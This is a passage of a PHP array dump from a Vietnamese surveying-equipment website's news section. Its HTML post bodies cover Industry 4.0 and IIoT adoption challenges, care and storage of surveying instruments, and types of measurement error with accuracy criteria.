trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, 